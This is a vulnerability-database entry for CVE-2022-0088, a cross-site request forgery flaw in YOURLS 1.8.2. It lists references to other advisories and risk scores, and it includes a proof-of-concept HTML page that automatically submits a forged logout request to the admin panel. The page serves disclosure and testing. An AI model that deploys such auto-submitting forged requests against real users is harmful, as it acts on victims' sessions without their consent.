📄 YOURLS 1.8.2 Cross Site Request Forgery

🗓️ 03 Dec 2025 00:00:00Reported by CodeSecLabType

packetstorm🔗 packetstorm.news👁 112 Views

YOURLS 1.8.2 CSRF allows an authenticated user to logout via a forged request.

Reporter	Title	Published	Views	Family All 18
ATTACKERKB	CVE-2022-0088	3 Apr 202209:15	–	attackerkb
Circl	CVE-2022-0088	3 Dec 202521:02	–	circl
CNNVD	YOURLS 跨站请求伪造漏洞	3 Apr 202200:00	–	cnnvd
CVE	CVE-2022-0088	3 Apr 202208:50	–	cve
Cvelist	CVE-2022-0088 Cross-Site Request Forgery (CSRF) in yourls/yourls	3 Apr 202208:50	–	cvelist
Huntr	Cross-Site Request Forgery (CSRF) in yourls/yourls	24 Dec 202108:30	–	huntr
Exploit DB	YOURLS 1.8.2 - Cross-Site Request Forgery (CSRF)	2 Dec 202500:00	–	exploitdb
EUVD	EUVD-2022-1750	3 Oct 202520:07	–	euvd
Github Security Blog	Cross-Site Request Forgery in YOURLS	4 Apr 202200:00	–	github
NVD	CVE-2022-0088	3 Apr 202209:15	–	nvd

# Exploit Title: YOURLS 1.8.2 - Cross-Site Request Forgery (CSRF)
    # Date: 2025-11-25
    # Exploit Author: CodeSecLab
    # Vendor Homepage: https://github.com/yourls/yourls/
    # Software Link: https://github.com/yourls/yourls/
    # Version: 1.8.2 
    # Tested on: Windows
    # CVE : CVE-2022-0088
    
    
    Proof Of Concept
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>CSRF PoC</title>
    </head>
    <body>
        <h1>CSRF Proof of Concept</h1>
        <form action="http://yourls/admin/index.php" method="GET">
            <input type="hidden" name="action" value="logout">
            <input type="submit" value="Submit CSRF Request">
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
    </html>
    
    This HTML page, when visited by an authenticated user of the vulnerable application, will automatically submit a request to log the user out without their consent, demonstrating the CSRF vulnerability.
    
    
    Steps to Reproduce
    Save the following code as poc.html.
    Log in yourls, and open the file in the same browser.
    Observe the result.

03 Dec 2025 00:00Current

6.8Medium risk

Vulners AI Score6.8

CVSS 24.3

CVSS 3.17.4

CVSS 33.5

EPSS0.00598